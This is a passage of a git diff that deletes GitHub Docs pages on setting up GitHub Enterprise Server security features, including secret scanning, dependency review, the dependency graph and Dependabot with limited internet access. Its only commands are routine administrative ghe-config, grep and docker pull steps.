[dependency review action](https://github.com/actions/dependency-review-action). - -## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} - -{% data reusables.advanced-security.check-for-ghas-license %} - -## Prerequisites for dependency review - -* A license for {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} or {% endif %}{% data variables.product.prodname_GHAS %} (see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)). - -* The dependency graph enabled for the instance. Site administrators can enable the dependency graph via the management console or the administrative shell (see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)). - -* {% data variables.product.prodname_github_connect %} enabled to download and synchronize vulnerabilities from the {% data variables.product.prodname_advisory_database %}. This is usually configured as part of setting up {% data variables.product.prodname_dependabot %} (see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)). - -## Enabling and disabling dependency review - -To enable or disable dependency review, you need to enable or disable the dependency graph for your instance. - -For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise). - -## Running dependency review using {% data variables.product.prodname_actions %} - -{% data reusables.dependency-review.dependency-review-action-beta-note %} - -The dependency review action is included in your installation of {% data variables.product.prodname_ghe_server %}. It is available for all repositories that have {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} or {% endif %}{% data variables.product.prodname_GHAS %} and dependency graph enabled. - -{% data reusables.dependency-review.dependency-review-action-overview %} - -Users run the dependency review action using a {% data variables.product.prodname_actions %} workflow. If you have not already set up runners for {% data variables.product.prodname_actions %}, you must do this to enable users to run workflows. You can provision self-hosted runners at the repository, organization, or enterprise account level. For information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). diff --git a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md b/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md deleted file mode 100644 index 1c8281758d38..000000000000 --- a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Configuring secret scanning for your appliance -shortTitle: Configuring secret scanning -intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.' -product: '{% data reusables.gated-features.secret-scanning %}' -redirect_from: - - /admin/configuration/configuring-secret-scanning-for-your-appliance - - /admin/advanced-security/configuring-secret-scanning-for-your-appliance - - /admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance -versions: - ghes: '*' -type: how_to -topics: - - Advanced Security - - Enterprise - - Secret scanning - - Security ---- - -## About {% data variables.product.prodname_secret_scanning %} - -If someone checks a secret with a known pattern into a repository, {% data variables.product.prodname_secret_scanning %} catches the secret as it's checked in, and helps you mitigate the impact of the leak. Repository administrators are notified about any commit that contains a secret, and they can quickly view all detected secrets in the **Security** tab for the repository. See [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - -## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} - -{% data reusables.advanced-security.check-for-ghas-license %} - -## Prerequisites for {% data variables.product.prodname_secret_scanning %} - -* The SSSE3 (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.product.prodname_ghe_server %}. For more information about SSSE3, see [Intel 64 and IA-32 Architectures Optimization Reference Manual](https://cdrdv2-public.intel.com/671488/248966-Software-Optimization-Manual-R047.pdf) in the Intel documentation. - -* A license for {% ifversion ghas-products %}{% data variables.product.prodname_GH_secret_protection %} or {% endif %}{% data variables.product.prodname_GHAS %} (see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)) - -* {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise)) - -### Checking support for the SSSE3 flag on your vCPUs - -The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance. - -1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. See [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). -1. Enter the following command: - - ```shell - grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? - ``` - - If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %}. See [Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning) below. - - If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs. - -## Enabling {% data variables.product.prodname_secret_scanning %} - -{% data reusables.enterprise_management_console.enable-disable-security-features %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," select **{% data variables.product.prodname_secret_scanning_caps %}**. -{% data reusables.enterprise_management_console.save-settings %} - -## Disabling {% data variables.product.prodname_secret_scanning %} - -{% data reusables.enterprise_management_console.enable-disable-security-features %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," deselect **{% data variables.product.prodname_secret_scanning_caps %}**. -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md b/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md deleted file mode 100644 index ea2ba472da2f..000000000000 --- a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Enabling {% data variables.product.prodname_GHAS %} {% ifversion ghas-products %}products {% endif %}for your enterprise -shortTitle: Enabling {% data variables.product.prodname_GHAS %} -intro: 'You can configure {% data variables.product.prodname_ghe_server %} to include {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %}. This provides extra features that help users find and fix security problems in their code.' -product: '{% data reusables.gated-features.ghas-ghec %}' -allowTitleToDifferFromFilename: true -redirect_from: - - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise - - /admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise -versions: - ghes: '*' -type: how_to -topics: - - Advanced Security - - Code scanning - - Enterprise - - Secret scanning - - Security ---- - -## About enabling {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %} products{% endif %} - -{% data reusables.advanced-security.ghas-helps-developers %} - -When you enable {% data variables.product.prodname_GHAS %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. See [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -{% data reusables.secret-scanning.secret-scanning-enterprise-level-api %} - -For guidance on a phased deployment of {% data variables.product.prodname_GHAS %}, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale). - -## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. - -## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} - -1. Upgrade your {% data variables.product.prodname_enterprise %} license to include {% data variables.product.prodname_GH_advanced_security %}. For information about licensing, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). -1. Download the new license file. See [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise). -1. Upload the new license file to {% data variables.product.prodname_ghe_server %}. See [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server). -1. Review the prerequisites for the features you plan to enable. - - * {% data variables.product.prodname_code_scanning_caps %}, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning). - * {% data variables.product.prodname_secret_scanning_caps %}, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning). - * {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features - -{% data reusables.enterprise_management_console.enable-disable-security-features %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," select the features that you want to enable and deselect any features you want to disable. -{% data reusables.enterprise_management_console.save-settings %} - -When {% data variables.product.prodname_ghe_server %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. See [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance). - -## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH) - -You can enable or disable features programmatically on {% data variables.product.prodname_ghe_server %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-config). - -For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery. - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. Enable features for {% data variables.product.prodname_GH_advanced_security %}. - - * To enable {% data variables.product.prodname_code_scanning %}, enter the following commands. - - ```shell copy - ghe-config app.minio.enabled true - ghe-config app.code-scanning.enabled true - ``` - - * To enable {% data variables.product.prodname_secret_scanning %}, enter the following command. - - ```shell copy - ghe-config app.secret-scanning.enabled true - ``` - - * To enable the dependency graph, enter the following command. - - ```shell copy - ghe-config app.dependency-graph.enabled true - ``` - -1. Optionally, disable features for {% data variables.product.prodname_GH_advanced_security %}. - - * To disable {% data variables.product.prodname_code_scanning %}, enter the following commands. - - ```shell copy - ghe-config app.code-scanning.enabled false - ``` - - * Optionally, if you disable {% data variables.product.prodname_code_scanning %}, you can also disable the internal MinIO service for {% data variables.product.prodname_GH_advanced_security %}. If {% data variables.product.prodname_dependabot_updates %} are enabled for the instance and you want to disable this service, you must also disable {% data variables.product.prodname_dependabot_updates %}. Disabling the service does not affect MinIO storage for {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %}. For more information about {% data variables.product.prodname_dependabot_updates %}, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - - * To disable {% data variables.product.prodname_dependabot_updates %}, enter the following command. - - ```shell copy - ghe-config app.dependabot.enabled false - ``` - - * To disable MinIO, enter the following command. - - ```shell copy - ghe-config app.minio.enabled false - ``` - - * To disable {% data variables.product.prodname_secret_scanning %}, enter the following command. - - ```shell copy - ghe-config app.secret-scanning.enabled false - ``` - - * To disable the dependency graph, enter the following command. - - ```shell - ghe-config app.dependency-graph.enabled false - ``` - -{% data reusables.enterprise.apply-configuration %} diff --git a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/index.md b/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/index.md deleted file mode 100644 index 59b719622f0f..000000000000 --- a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: '{% ifversion ghes %}Setting up {% data variables.product.prodname_GHAS %} features on your appliance{% else %}Configuring infrastructure for {% data variables.product.prodname_GHAS %} features{% endif %}' -shortTitle: '{% ifversion ghes %}Set up{% else %}Configure{% endif %} {% data variables.product.prodname_GHAS %}' -intro: 'You can {% ifversion ghes %}set up{% else %}configure{% endif %} {% data variables.product.prodname_AS %}{% ifversion ghas-products %} products{% endif %} to suit your enterprise''s needs.' -allowTitleToDifferFromFilename: true -product: '{% data reusables.gated-features.ghas-ghec %}' -redirect_from: - - /enterprise/admin/configuration/configuring-advanced-security-features - - /admin/configuration/configuring-advanced-security-features - - /admin/advanced-security - - /admin/code-security/managing-github-advanced-security-for-your-enterprise -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /enabling-github-advanced-security-for-your-enterprise - - /managing-github-advanced-security-features-for-your-enterprise - - /configuring-code-scanning-for-your-appliance - - /configuring-dependency-review-for-your-appliance - - /configuring-secret-scanning-for-your-appliance ---- diff --git a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md b/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md deleted file mode 100644 index ed4fcafee1bd..000000000000 --- a/content/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise -intro: 'You can control {% data variables.product.prodname_GH_advanced_security %} features that secure and analyze code across all organizations owned by your enterprise.' -permissions: 'Enterprise owners can manage {% data variables.product.prodname_advanced_security %} features for organizations in an enterprise.' -allowTitleToDifferFromFilename: true -versions: - ghes: '<= 3.15' -type: how_to -topics: - - Alerts - - Advanced Security - - Dependency graph - - Secret scanning - - Repositories -shortTitle: Manage {% data variables.product.prodname_GH_advanced_security %} -redirect_from: - - /admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise ---- - -## About management of {% data variables.product.prodname_advanced_security %} features - -You can use {% data variables.product.prodname_advanced_security %} features to harden security for the organizations in your enterprise. - -{% ifversion security-configurations %}{% data reusables.security-configurations.enable-security-features-with-gh-config %} - -To manage individual {% data variables.product.prodname_GH_advanced_security %} features, {% else %}To streamline management of {% data variables.product.prodname_advanced_security %}, {% endif %}you can enable or disable each feature for all existing and/or new repositories within the organizations owned by your enterprise. - -{% ifversion security-configurations-ghes-only %} - -> [!WARNING] -> You should communicate any changes you plan to make to existing feature enablement settings to organization owners before making them, so as not to impact existing security configurations that have been rolled out by organizations in your enterprise. - -{% endif %} - -{% data reusables.secret-scanning.secret-scanning-enterprise-level-api %} - -For information about buying a license for {% data variables.product.prodname_GH_advanced_security %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). - -If you have disallowed {% data variables.product.prodname_GH_advanced_security %} for an organization, that organization will not be affected by enabling a feature for all existing repositories or for all new repositories. For more information about disallowing {% data variables.product.prodname_GH_advanced_security %} for an organization, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -When you enable one or more security and analysis features for existing repositories, you will see any results displayed on {% data variables.product.prodname_dotcom %} within minutes. - -{% data reusables.security.security-and-analysis-features-enable-read-only %} - -## Managing {% data variables.product.prodname_advanced_security %} features - -{% data reusables.advanced-security.note-org-enable-uses-seats %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. Optionally, enable or disable a feature for all existing repositories. - - * To the right of the feature, click **Disable all** or **Enable all**. If the control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled, you have no available licenses for {% data variables.product.prodname_GH_advanced_security %}. - * To confirm the change, click the **Enable/Disable all** or **Enable/Disable for eligible repositories** button in the dialog that is displayed. -1. Optionally, to enable or disable a feature automatically when new private and internal repositories{% ifversion secret-scanning-user-owned-repos %}, user namespace repositories{% endif %}, or public repositories and repositories with {% data variables.product.prodname_GH_advanced_security %} enabled are created, select the checkbox below the feature.{% ifversion org-npp-enablement-security-configurations %} -1. Optionally, to enable the scanning of non-provider patterns, to the right of "Scan for non-provider patterns", click **Enable all**. To learn more about scanning for non-provider patterns, see [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#non-provider-patterns) and [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts).{% endif %} -1. Optionally, to include a resource link in the message that members will see when they attempt to push a secret, select **Add a resource link in the CLI and web UI when a commit is blocked**, then type a URL, and click **Save link**. - - > [!NOTE] - > When a custom link is configured for an organization, the organization-level value overrides the custom link set for the enterprise. See [AUTOTITLE](/code-security/secret-scanning/protecting-pushes-with-secret-scanning). - - ![Screenshot of "Push protection" settings. The checkbox and text field used for enabling a custom link are outlined.](/assets/images/help/organizations/secret-scanning-custom-link.png) diff --git a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md b/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md deleted file mode 100644 index d0d39008a3c2..000000000000 --- a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: About supply chain security for your enterprise -intro: You can enable features that help your developers understand and update the dependencies their code relies on. -shortTitle: About supply chain security -permissions: '' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Security - - Dependency graph -redirect_from: - - /admin/code-security/managing-supply-chain-security-for-your-enterprise/about-supply-chain-security-for-your-enterprise ---- - -You can allow users to identify their projects' dependencies by enabling the dependency graph for {% data variables.product.prodname_ghe_server %}. For more information, see [Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise). - -{% data reusables.dependency-review.dependency-review-enabled-ghes %} - -You can also allow users to find and fix vulnerabilities in their code dependencies by enabling {% data variables.product.prodname_dependabot_alerts %} and {% data variables.product.prodname_dependabot_updates %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -After you enable {% data variables.product.prodname_dependabot_alerts %}, you can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.product.prodname_ghe_server %} and manually sync the data. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise). diff --git a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/configuring-dependabot-to-work-with-limited-internet-access.md b/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/configuring-dependabot-to-work-with-limited-internet-access.md deleted file mode 100644 index ef48005ce65e..000000000000 --- a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/configuring-dependabot-to-work-with-limited-internet-access.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Configuring Dependabot to work with limited internet access -intro: 'You can configure {% data variables.product.prodname_dependabot %} to generate pull requests for version and security updates using private registries when {% data variables.product.prodname_ghe_server %} has limited, or no, internet access.' -versions: - feature: dependabot-ghes-no-public-internet -type: how_to -topics: - - Dependabot - - Version updates - - Security updates - - Repositories - - Dependencies -shortTitle: Limited internet access -redirect_from: - - /admin/code-security/managing-supply-chain-security-for-your-enterprise/configuring-dependabot-to-work-with-limited-internet-access ---- - -## About {% data variables.product.prodname_dependabot %} updates - -You can use {% data variables.product.prodname_dependabot_updates %} to fix vulnerabilities and keep dependencies updated to the latest version in {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_dependabot_updates %} require {% data variables.product.prodname_actions %} with self-hosted runners set up for {% data variables.product.prodname_dependabot %} to use. {% data variables.product.prodname_dependabot %} alerts and security updates use information from the {% data variables.product.prodname_advisory_database %} accessed using {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates) and [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -{% data reusables.dependabot.private-registry-support %} Alternatively, if your instance has limited or no internet access, you can configure {% data variables.product.prodname_dependabot %} to use only private registries as a source for security and version updates. For information on which ecosystems are supported as private registries, see [AUTOTITLE](/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries#about-configuring-dependabot-to-only-access-private-registries). - -The instructions below assume that you need to set up {% data variables.product.prodname_dependabot %} runners with the following limitations. -* No internet access. -* Access to limited internal resources, such as private registries for {% data variables.product.prodname_dependabot %}. - -## Restricting internet access for {% data variables.product.prodname_dependabot %} runners - -Before configuring {% data variables.product.prodname_dependabot %}, install Docker on your self-hosted runner. For more information, see [AUTOTITLE](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates#configuring-self-hosted-runners-for-dependabot-updates). - -1. On {% data variables.product.prodname_ghe_server %}, navigate to the `github/dependabot-action` repository and retrieve information about the `dependabot-updater` and `dependabot-proxy` container images from the `containers.json` file. - - Each release of {% data variables.product.prodname_ghe_server %} includes an updated `containers.json` file at: `https://HOSTNAME/github/dependabot-action/blob/ghes-VERSION/docker/containers.json`. You can see the {% data variables.product.prodname_dotcom_the_website %} version of the file at: [containers.json](https://github.com/github/dependabot-action/blob/main/docker/containers.json). - -1. Preload all the container images from the {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_container_registry %} onto the {% data variables.product.prodname_dependabot %} runner using the `docker pull` command. {% ifversion ghes %}Alternatively, preload the `dependabot-proxy` image and then preload only the container images for the ecosystems you require. - - For example, to support npm and {% data variables.product.prodname_actions %} you could use the following commands, copying details of the images to load from the `containers.json` file to ensure that you have the correct version and SHA for each image. - - ```shell - docker pull ghcr.io/github/dependabot-update-job-proxy/dependabot-update-job-proxy:VERSION@SHA - docker pull ghcr.io/dependabot/dependabot-updater-github-actions:VERSION@SHA - docker pull ghcr.io/dependabot/dependabot-updater-npm:VERSION@SHA - ``` - - {%- endif %} - - > [!NOTE] - > You will need to repeat this step when you upgrade to a new minor version of {% data variables.product.prodname_ghe_server %}, or if you manually update the {% data variables.product.prodname_dependabot %} action from {% data variables.product.prodname_dotcom_the_website %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom). - -1. When you have finished adding these images to the runner, you are ready to restrict internet access to the {% data variables.product.prodname_dependabot %} runner, ensuring that it can still access your private registries for the required ecosystems and for {% data variables.product.prodname_ghe_server %}. - - You must add the images first because {% data variables.product.prodname_dependabot %} runners pull `dependabot-updater` and `dependabot-proxy` from the {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_container_registry %} when {% data variables.product.prodname_dependabot %} jobs start running. - -## Verifying the configuration of {% data variables.product.prodname_dependabot %} runners - -1. For a test repository, configure {% data variables.product.prodname_dependabot %} to access private registries and remove access to public registries. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot) and [AUTOTITLE](/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries). - -1. In the **Insights** tab for the repository, click **Dependency graph** to display details of the dependencies. -1. Click **{% data variables.product.prodname_dependabot %}** to display the ecosystems configured for version updates. -1. For ecosystems that you want to test, click **Last checked TIME ago** to display the "Update logs" view. -1. Click **Check for updates** to check for new updates to dependencies for that ecosystem. - -When the check for updates is complete, you should check the "Update logs" view to verify that {% data variables.product.prodname_dependabot %} accessed the configured private registries on your instance to check for version updates. - -After you have verified that the configuration is correct, ask repository administrators to update their {% data variables.product.prodname_dependabot %} configurations to use private registries only. For more information, see [AUTOTITLE](/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries). diff --git a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md b/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md deleted file mode 100644 index 6139e4ec6f50..000000000000 --- a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Enabling the dependency graph for your enterprise -intro: You can allow users to identify their projects' dependencies by enabling the dependency graph. -shortTitle: Enable dependency graph -permissions: Site administrators can enable the dependency graph. -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Security - - Dependency graph -redirect_from: - - /admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise ---- - -## About the dependency graph - -{% data reusables.dependabot.about-the-dependency-graph %} For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) - -{% data reusables.dependency-review.dependency-review-enabled-ghes %} - -After you enable the dependency graph for your enterprise, you can enable {% data variables.product.prodname_dependabot %} to detect insecure dependencies in your repository and automatically fix the vulnerabilities. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend using the {% data variables.enterprise.management_console %} unless your instance uses clustering. - -## Enabling the dependency graph via the {% data variables.enterprise.management_console %} - -If your instance uses clustering, you cannot enable the dependency graph with the {% data variables.enterprise.management_console %} and must use the administrative shell instead. For more information, see [Enabling the dependency graph via the administrative shell](#enabling-the-dependency-graph-via-the-administrative-shell). - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," select **Dependency graph**. -{% data reusables.enterprise_management_console.save-settings %} -1. Click **Visit your instance**. - -## Enabling the dependency graph via the administrative shell - -{% data reusables.enterprise_site_admin_settings.sign-in %} -1. In the administrative shell, enable the dependency graph: - - ```shell - ghe-config app.dependency-graph.enabled true - ``` - - > [!NOTE] - > For more information about enabling access to the administrative shell via SSH, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -1. Apply the configuration. - - ```shell - ghe-config-apply - ``` - -1. Return to {% data variables.product.prodname_ghe_server %}. diff --git a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/index.md b/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/index.md deleted file mode 100644 index ab81395a6bcf..000000000000 --- a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Managing supply chain security for your enterprise -shortTitle: Supply chain security -intro: 'You can visualize, maintain, and secure the dependencies in your developers'' software supply chain.' -versions: - ghes: '*' -topics: - - Enterprise -children: - - /about-supply-chain-security-for-your-enterprise - - /enabling-the-dependency-graph-for-your-enterprise - - /viewing-the-vulnerability-data-for-your-enterprise - - /configuring-dependabot-to-work-with-limited-internet-access -redirect_from: - - /admin/code-security/managing-supply-chain-security-for-your-enterprise ---- - diff --git a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md b/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md deleted file mode 100644 index 88c002d65887..000000000000 --- a/content/admin/managing-code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Viewing the vulnerability data for your enterprise -intro: 'You can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.product.prodname_ghe_server %}.' -shortTitle: View vulnerability data -permissions: 'Site administrators' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Security - - Dependency graph -redirect_from: - - /admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise ---- - -If {% data variables.product.prodname_dependabot_alerts %} are enabled for your enterprise, you can view all vulnerabilities that were downloaded to {% data variables.product.prodname_ghe_server %} from the {% data variables.product.prodname_advisory_database %}. - -You can manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list. - -Before you can view vulnerability data, you must enable {% data variables.product.prodname_dependabot_alerts %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left sidebar, under **{% octicon "rocket" aria-hidden="true" %} Site admin**, click **Vulnerabilities**. -1. To sync vulnerability data, click **Sync Vulnerabilities Now**. diff --git a/content/admin/managing-code-security/securing-your-enterprise/about-security-configurations.md b/content/admin/managing-code-security/securing-your-enterprise/about-security-configurations.md deleted file mode 100644 index 9ec6f09712af..000000000000 --- a/content/admin/managing-code-security/securing-your-enterprise/about-security-configurations.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: About security configurations -shortTitle: Security configurations -intro: 'Security configurations are collections of security settings that you can apply across your enterprise.' -product: '{% data 